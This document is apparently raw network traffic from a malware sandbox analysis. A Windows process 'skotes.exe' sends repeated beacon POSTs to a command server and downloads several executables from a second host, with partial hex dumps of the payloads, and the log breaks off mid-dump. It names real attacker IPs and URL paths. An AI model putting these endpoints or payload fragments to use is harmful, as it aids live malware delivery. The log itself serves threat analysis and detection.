Dec 18, 2024 19:08:18.578458071 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 30 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017010001&unit=246122658369
Dec 18, 2024 19:08:19.922030926 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 18:08:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49723	31.41.244.11	80	7764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 19:08:20.046186924 CET	62	OUT	GET /files/unique3/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 19:08:21.382865906 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 18:08:21 GMT Content-Type: application/octet-stream Content-Length: 1941504 Last-Modified: Wed, 18 Dec 2024 17:19:29 GMT Connection: keep-alive ETag: "67630421-1da000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 30 4a 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z)))()()()()()()()))))9()9))9()Rich)PEL_{_d%\|^0J@`J@Vjl <@.rsrclL@.idata T@ )V@odqdzvii00"X@mkfcubxc Jz@.taggant00J"~@
Dec 18, 2024 19:08:21.382906914 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 19:08:21.382917881 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 19:08:21.383064032 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 19:08:21.383075953 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 19:08:21.383428097 CET	672	IN	Data Raw: 10 3a 6f 05 17 d3 65 a2 93 eb ff fe 6e 21 95 ba c2 dd 65 d3 fd fc e0 fd 20 b6 60 ff 0c 1d 1b 9e c1 a7 45 32 49 2a f0 03 df 33 13 aa a8 9a 00 66 ca 1b 1d ef f1 7c 99 a2 a2 0a 7c 5c 90 11 00 77 fb 4f e3 07 52 46 f6 d9 56 02 75 65 73 c7 a3 e6 57 f2 Data Ascii: :oen!e `E2I3f\|\|\wORFVuesWV#eu=4j)~?vdV;lM#o4^`&{THl/#3<nL]%EGC>*>mm(KLPw 1wW
Dec 18, 2024 19:08:21.383439064 CET	1236	IN	Data Raw: c8 cb 65 84 8e 73 16 35 d3 22 1c 65 94 ec a3 8f 6e 62 5d 56 a9 94 04 43 82 17 ac f7 a8 a4 f5 ed e7 f8 75 43 ec 21 1e 46 fb d9 37 44 c6 c8 29 7e a2 6c ce 09 63 d1 df 66 b1 a5 f1 f5 15 c3 45 b4 cb e1 7d 48 8f 1f 3d 42 14 43 45 68 1f 05 bd 02 eb 66 Data Ascii: es5"enb]VCuC!F7D)~lcfE}H=BCEhf<D%)~ra2Ji\t%b"lv{dKo#aas,LMw2]\|<6'G:w/L19#<[L,p`Re2sK*E,;eq:[
Dec 18, 2024 19:08:21.383449078 CET	224	IN	Data Raw: 91 e0 f5 9d 2d f8 11 ed e5 2b 7c 7e 94 79 2f ce 01 5b 95 19 f2 38 05 17 a2 35 bc d4 56 11 b4 77 0b 5e 1d 07 4b 9a f6 d7 fa 9d 16 05 53 1b 23 68 bf 1f 7d 8c e3 7c 04 f3 92 17 7a ca 29 57 f5 26 92 f8 fa a7 05 87 ed 73 9c d9 26 40 2f 4a 29 7e 81 8e Data Ascii: -+\|~y/[85Vw^KS#h}\|z)W&s&@/J)~d~`Q([p!Ize]gW_(~tF(13i\~WsB&?H@MkUrSu"piaX;kweraDmTCFE^{
Dec 18, 2024 19:08:21.383812904 CET	1236	IN	Data Raw: b1 39 a8 55 93 5b 1b 86 48 77 84 a3 c3 ce ba 69 a6 3b 17 51 2a 56 16 ef 14 bc 59 d0 1b 0a 0f c8 38 9a 74 37 9d e0 1a ae ac d0 ef 11 e7 ba 4a a6 96 39 2a 04 0f 5b 8a 8a 3b a3 54 4b c3 2e 96 bf ad 31 a2 52 59 09 9c 26 7d 88 84 48 08 1d b2 32 63 3e Data Ascii: 9U[Hwi;QVY8t7J9[;TK.1RY&}H2c>Eo/<8Hh_V#5OJ3cK(jn2L+?UVwK' 7&APn!5J\&-zK0Ln05@6>Hd Y6>LR>S)~
Dec 18, 2024 19:08:21.383829117 CET	224	IN	Data Raw: 8c 8a 3a 25 59 11 5a 77 c5 4f 19 07 cc f9 fb 3f fb 59 16 95 3e 46 26 b5 4d b5 93 6f 63 8b 0b 22 45 51 35 c0 ad 8e 19 1a 97 8a d3 04 c1 16 23 ee c0 cb eb 38 0e c7 a1 ce fc 71 a2 31 8b 77 f0 4b 63 1d ce d8 1e 7c 45 d5 64 26 ef 3d e7 93 7f b2 6f 39 Data Ascii: :%YZwO?Y>F&Moc"EQ5#8q1wKc\|Ed&=o9N![iZi~DMeB{iwVw3Go!pL2ae%Vhi=^,EF[.jNiSd6t'wSeY EQW"5
Dec 18, 2024 19:08:21.502676010 CET	1236	IN	Data Raw: fb 8b 0d 6f e2 3e 9e 40 9f 21 0a 7e 26 de 65 9e 7c 91 13 fe ea 15 82 f1 7d d9 64 b9 d8 ea 29 7e d0 16 cc 50 64 e5 f3 b9 7b a5 ad fd 75 d5 03 d2 23 b6 20 ce 6e 21 43 c0 5d c4 65 a0 48 aa 71 02 eb dd 93 13 6d d9 a9 57 b9 8c 29 7e b0 13 33 6c 64 71 Data Ascii: o>@!~&e\|}d)~Pd{u# n!C]eHqmW)~3ldq&ez#4o!Eej`Lno!)~}\|d[Qi{@/o!?es6jwJ,z?"3;nvYEJ <y ovgWRfp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49725	185.215.113.43	80	7764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 19:08:28.069560051 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 30 31 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017011001&unit=246122658369
Dec 18, 2024 19:08:29.114770889 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 18:08:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49726	31.41.244.11	80	7764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 19:08:29.237103939 CET	59	OUT	GET /files/dodo/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 19:08:30.565480947 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 18:08:30 GMT Content-Type: application/octet-stream Content-Length: 765568 Last-Modified: Tue, 17 Dec 2024 09:46:16 GMT Connection: keep-alive ETag: "67614868-bae80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bss`@
Dec 18, 2024 19:08:30.565598011 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 19:08:30.565609932 CET	1236	IN	Data Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24 Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"\|$$D$(WVt$VfSCErPPD$\|$$l$(WVPe\$Dl$t$h5Vm
Dec 18, 2024 19:08:30.566088915 CET	1236	IN	Data Raw: f0 68 6d 64 85 93 ff 35 6c 64 42 00 e8 16 fb ff ff 83 c4 08 89 45 e4 8b 55 e4 ff d2 bb 49 05 00 00 be 11 50 42 00 6a 11 68 00 50 42 00 53 56 e8 96 fc ff ff 83 c4 10 6a 0a 68 00 c0 41 00 57 8b 7d 08 57 e8 82 fc ff ff 83 c4 10 68 01 dc af 8a ff 35 Data Ascii: hmd5ldBEUIPBjhPBSVjhAW}Wh5ldBMQj@SVuM11^_[]}uVPB'jT9BUSWV,\$@WB1D$(d=0w@ldBhb-/5ldBE(AD$
Dec 18, 2024 19:08:30.566101074 CET	1236	IN	Data Raw: 42 00 31 e0 89 44 24 08 8b 01 8b 40 04 8b 7c 01 38 85 ff 74 48 89 e3 89 d9 56 e8 1a ff ff ff 80 7b 04 00 74 31 8b 07 89 f9 ff 50 34 83 f8 ff 0f 94 c0 8b 0e 8b 51 04 8d 0c 16 83 7c 16 38 00 0f 94 c4 08 c4 0f b6 c4 c1 e0 02 0b 44 16 0c 6a 00 50 e8 Data Ascii: B1D$@\|8tHV{t1P4Q\|8DjPnL$1^_[WV D$,WB1T$A#AuL$1 ^_\|$0t1PP?BBDBD@Bt$RWhABV?
Dec 18, 2024 19:08:30.566112041 CET	1120	IN	Data Raw: 78 01 81 ff 00 10 00 00 72 14 8b 51 fc 83 c1 fc 29 d1 83 f9 20 73 33 83 c0 24 89 c7 89 d1 57 51 e8 49 0a 00 00 83 c4 08 c7 06 5c c3 41 00 8b 4c 24 18 31 e1 e8 74 0a 00 00 89 f0 83 c4 1c 5e 5f 5b 5d c2 0c 00 e8 fd f8 ff ff e8 00 95 00 00 55 89 e5 Data Ascii: xrQ) s3$WQI\AL$1t^_[]USWV0WB1EUP WCWCzzrMw{C JUCE@rP\|P\C{MK GWuP
Dec 18, 2024 19:08:30.566123962 CET	1236	IN	Data Raw: c2 c1 e2 02 eb 05 ba 04 00 00 00 8b 06 8b 48 04 0b 54 0e 0c 31 c0 83 7c 0e 38 00 8d 0c 0e 0f 94 c0 c1 e0 02 09 d0 6a 00 50 e8 0f f7 ff ff 89 e1 e8 62 f6 ff ff 8b 4c 24 08 31 e1 e8 0d 06 00 00 89 f0 83 c4 0c 5e 5f c2 04 00 cc 53 57 56 83 ec 0c 0f Data Ascii: HT1\|8jPbL$1^_SWVt$WB1D$A0HOPW;VR OtPtjL$1^_[SWVt$WB1D$L$j\|dB$eBdPu3
Dec 18, 2024 19:08:30.566929102 CET	1236	IN	Data Raw: 04 31 d2 89 56 08 89 56 04 83 c0 04 51 50 e8 37 38 00 00 83 c4 08 c7 06 c8 c5 41 00 89 f0 5e c2 04 00 cc c7 01 28 c1 41 00 83 c1 04 51 e8 7b 38 00 00 83 c4 04 c3 b8 80 64 42 00 c3 b9 b8 64 42 00 e8 96 04 00 00 68 4c b8 41 00 e8 ec 01 00 00 59 c3 Data Ascii: 1VVQP78A^(AQ{8dBdBhLAYhVAYh`AYeBhhjAYVWj3^YfBjVfBAihtAY_^jjhfBeBh~AeYeBiBhA
Dec 18, 2024 19:08:30.566941023 CET	448	IN	Data Raw: 50 e8 df 24 00 00 59 c3 33 c0 57 8b f9 40 f0 0f c1 05 0c 58 42 00 75 19 56 be c0 64 42 00 56 e8 90 24 00 00 83 c6 18 59 81 fe 80 65 42 00 75 ee 5e 8b c7 5f c3 83 c8 ff f0 0f c1 05 0c 58 42 00 79 19 56 be c0 64 42 00 56 e8 7b 24 00 00 83 c6 18 59 Data Ascii: P$Y3W@XBuVdBV$YeBu^_XByVdBV{$YeBu^UQjYteBEAeBVWyp7Btj17B_^VeBV0Y5eBu^UVjjuYY
Dec 18, 2024 19:08:30.566951036 CET	1236	IN	Data Raw: 00 5e c3 55 8b ec 51 6a 20 e8 63 fa ff ff 89 45 fc 59 85 c0 74 0c ff 75 08 8b c8 e8 77 00 00 00 c9 c3 33 c0 c9 c3 55 8b ec 51 51 53 57 6a 00 8d 4d f8 e8 c1 fd ff ff 8b 45 08 8b 78 0c 8d 58 08 85 ff 74 3f 56 8b 03 4f 8b 04 b8 89 45 fc 85 c0 74 2c Data Ascii: ^UQj cEYtuw3UQQSWjMExXt?VOEt,p7BMEtj17BMu^3YM_[UQE3VhBuNF(AVVVFQ^UVEtj VYY
Dec 18, 2024 19:08:30.686454058 CET	1236	IN	Data Raw: 7f 14 0f 8b c7 76 02 8b 07 8d 14 08 2b f3 8b ce 8d 04 1a 2b 4d 08 41 51 50 52 e8 6c 43 00 00 83 c4 0c 8b cf 56 ff 75 fc e8 3f ff ff ff 89 77 10 8b c7 5f 5e 5b c9 c2 08 00 55 8b ec 51 53 57 8b f9 8b 5f 10 3b 5f 14 73 24 56 8d 73 01 56 53 e8 18 ff Data Ascii: v++MAQPRlCVu?w_^[UQSW_;_s$VsVSw^v?EDuuj_[UMV;MwuE+;w2;BE^]V~vF@P6YYfF^ItAuASB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49728	185.215.113.43	80	7764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 19:08:34.442133904 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 30 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017012001&unit=246122658369
Dec 18, 2024 19:08:35.815381050 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 18:08:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49730	31.41.244.11	80	7764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 19:08:35.960004091 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 19:08:37.291810036 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 18:08:37 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 09:45:14 GMT Connection: keep-alive ETag: "6761482a-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 18, 2024 19:08:37.291830063 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 19:08:37.291996956 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 19:08:37.292179108 CET	1236	IN	Data Raw: 8b 6c 24 0c 8d 74 24 14 c6 07 00 68 35 02 00 00 56 e8 6d fe ff ff 83 c4 08 89 c7 3b 44 24 48 75 1a 8b 44 1d 24 8b 4c 24 04 0f b7 04 01 8b 4c 1d 1c 01 d9 8b 04 81 89 04 24 eb 05 83 44 24 08 04 8b 44 24 28 83 f8 10 72 2d 8b 4c 24 14 8d 70 01 81 fe Data Ascii: l$t$h5Vm;D$HuD$L$L$D$D$(r-L$prQ) sT$VQl$;\|$HtD$$4$L$,10^_[]*-USWV$$$ WB1$1
Dec 18, 2024 19:08:37.292191982 CET	1236	IN	Data Raw: ff ff 83 ec 14 0f 28 05 10 c0 41 00 0f 11 44 24 04 89 1c 24 c7 44 24 18 00 00 00 00 c7 44 24 14 80 00 00 00 ff d0 83 f8 ff 0f 84 ab 01 00 00 89 c7 6a 00 50 ff 15 98 39 42 00 83 f8 ff 0f 84 70 01 00 00 89 c3 50 e8 1c 13 00 00 83 c4 04 89 c5 8d 44 Data Ascii: (AD$$D$D$jP9BpPD$jPSUW,:BBW49BE<L=l$$D$\$L$WD$ WD$Uv+w\|$ D$$WUS`K
Dec 18, 2024 19:08:37.292476892 CET	672	IN	Data Raw: 08 89 f1 52 57 e8 0b 00 00 00 68 f8 41 42 00 56 e8 80 3f 00 00 56 89 ce 8b 44 24 0c ff 74 24 08 ff 70 04 ff 30 e8 f9 02 00 00 c7 06 10 c2 41 00 89 f0 5e c2 08 00 cc 57 56 89 ce 8b 7c 24 0c c7 01 28 c1 41 00 8d 41 04 31 c9 89 4e 08 89 4e 04 8d 4f Data Ascii: RWhABV?VD$t$p0A^WV\|$(AA1NNOPQEAGONFA^_WV\|$(AA1NNOPQDAGONF\A^_WV\|$(AA1NNOPQDAG
Dec 18, 2024 19:08:37.292896986 CET	1236	IN	Data Raw: c2 08 00 e8 93 fa ff ff cc 8b 44 24 04 8b 54 24 08 89 10 89 48 04 c2 08 00 8b 44 24 04 8b 10 8b 40 04 8b 49 04 33 48 04 33 54 24 08 09 ca 0f 94 c0 c2 08 00 cc 53 57 56 83 ec 0c 8b 74 24 20 8b 44 24 1c 8b 15 c0 57 42 00 31 e2 89 54 24 08 8b 11 89 Data Ascii: D$T$HD$@I3H3T$SWVt$ D$WB1T$PWROVI3J3L$1^_[USWVWB1D$WD$W$t$8l$4\$0wx@Wt$<PXQ
Dec 18, 2024 19:08:37.293051004 CET	224	IN	Data Raw: 01 fb 8b 74 24 20 56 ff 74 24 20 53 e8 96 54 00 00 83 c4 0c c6 04 1e 00 89 7d 00 89 e8 83 c4 08 5e 5f 5b 5d c2 08 00 89 f8 83 c8 0f 01 d1 39 c8 89 ce 0f 47 f0 89 f0 40 75 0a 31 c0 31 f6 4e e9 13 ff ff ff 3d 00 10 00 00 0f 83 fb fe ff ff 50 e8 64 Data Ascii: t$ Vt$ ST}^_[]9G@u11N=PdhkV@\|u.Dt%L8P4u@DjP}^WVWB1D$V&t!@L8D$Pf1
Dec 18, 2024 19:08:37.293061972 CET	1236	IN	Data Raw: c2 c1 e2 02 eb 05 ba 04 00 00 00 8b 06 8b 48 04 0b 54 0e 0c 31 c0 83 7c 0e 38 00 8d 0c 0e 0f 94 c0 c1 e0 02 09 d0 6a 00 50 e8 0f f7 ff ff 89 e1 e8 62 f6 ff ff 8b 4c 24 08 31 e1 e8 0d 06 00 00 89 f0 83 c4 0c 5e 5f c2 04 00 cc 53 57 56 83 ec 0c 0f Data Ascii: HT1\|8jPbL$1^_SWVt$WB1D$A0HOPW;VR OtPtjL$1^_[SWVt$WB1D$L$j\|dB$eBdPu3
Dec 18, 2024 19:08:37.293270111 CET	1236	IN	Data Raw: 04 31 d2 89 56 08 89 56 04 83 c0 04 51 50 e8 37 38 00 00 83 c4 08 c7 06 c8 c5 41 00 89 f0 5e c2 04 00 cc c7 01 28 c1 41 00 83 c1 04 51 e8 7b 38 00 00 83 c4 04 c3 b8 80 64 42 00 c3 b9 b8 64 42 00 e8 96 04 00 00 68 4c b8 41 00 e8 ec 01 00 00 59 c3 Data Ascii: 1VVQP78A^(AQ{8dBdBhLAYhVAYh`AYeBhhjAYVWj3^YfBjVfBAihtAY_^jjhfBeBh~AeYeBiBhA
Dec 18, 2024 19:08:37.411567926 CET	1236	IN	Data Raw: 50 e8 df 24 00 00 59 c3 33 c0 57 8b f9 40 f0 0f c1 05 0c 58 42 00 75 19 56 be c0 64 42 00 56 e8 90 24 00 00 83 c6 18 59 81 fe 80 65 42 00 75 ee 5e 8b c7 5f c3 83 c8 ff f0 0f c1 05 0c 58 42 00 79 19 56 be c0 64 42 00 56 e8 7b 24 00 00 83 c6 18 59 Data Ascii: P$Y3W@XBuVdBV$YeBu^_XByVdBV{$YeBu^UQjYteBEAeBVWyp7Btj17B_^VeBV0Y5eBu^UVjjuYY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49735	185.215.113.43	80	7764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 19:08:41.702209949 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 30 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017013001&unit=246122658369
Dec 18, 2024 19:08:43.066833973 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 18:08:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49739	31.41.244.11	80	7764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 19:08:43.193001032 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 19:08:44.519701004 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 18:08:44 GMT Content-Type: application/octet-stream Content-Length: 4449792 Last-Modified: Wed, 18 Dec 2024 17:00:19 GMT Connection: keep-alive ETag: "6762ffa3-43e600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 60 